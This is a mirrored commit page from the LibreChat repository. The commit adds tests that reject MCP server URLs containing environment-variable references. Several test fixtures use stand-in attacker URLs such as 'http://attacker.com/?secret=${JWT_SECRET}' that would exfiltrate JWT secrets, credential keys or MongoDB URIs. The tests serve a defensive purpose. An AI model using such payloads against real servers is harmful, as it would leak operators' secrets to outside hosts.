mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-03-15 12:16:33 +01:00
🔏 fix: MCP Server URL Schema Validation (#12204)
* fix: MCP server configuration validation and schema - Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes. - Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks. - Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application. * fix: MCP URL validation to reject env variable references - Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks. - Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs. - Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application. * test: Enhance MCPServerUserInputSchema tests for environment variable handling - Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema. - Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks. - Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
This commit is contained in:
parent
65b0bfde1b
commit
f32907cd36
3 changed files with 269 additions and 3 deletions
|
|
@ -1819,6 +1819,51 @@ describe('MCP Routes', () => {
|
|||
expect(response.body.message).toBe('Invalid configuration');
|
||||
});
|
||||
|
||||
it('should reject SSE URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/mcp/servers')
|
||||
.send({
|
||||
config: {
|
||||
type: 'sse',
|
||||
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject streamable-http URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/mcp/servers')
|
||||
.send({
|
||||
config: {
|
||||
type: 'streamable-http',
|
||||
url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject websocket URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/mcp/servers')
|
||||
.send({
|
||||
config: {
|
||||
type: 'websocket',
|
||||
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should return 500 when registry throws error', async () => {
|
||||
const validConfig = {
|
||||
type: 'sse',
|
||||
|
|
@ -1918,6 +1963,51 @@ describe('MCP Routes', () => {
|
|||
expect(response.body.errors).toBeDefined();
|
||||
});
|
||||
|
||||
it('should reject SSE URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.patch('/api/mcp/servers/test-server')
|
||||
.send({
|
||||
config: {
|
||||
type: 'sse',
|
||||
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject streamable-http URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.patch('/api/mcp/servers/test-server')
|
||||
.send({
|
||||
config: {
|
||||
type: 'streamable-http',
|
||||
url: 'http://attacker.com/?key=${CREDS_KEY}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject websocket URL containing env variable references', async () => {
|
||||
const response = await request(app)
|
||||
.patch('/api/mcp/servers/test-server')
|
||||
.send({
|
||||
config: {
|
||||
type: 'websocket',
|
||||
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.body.message).toBe('Invalid configuration');
|
||||
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should return 500 when registry throws error', async () => {
|
||||
const validConfig = {
|
||||
type: 'sse',
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue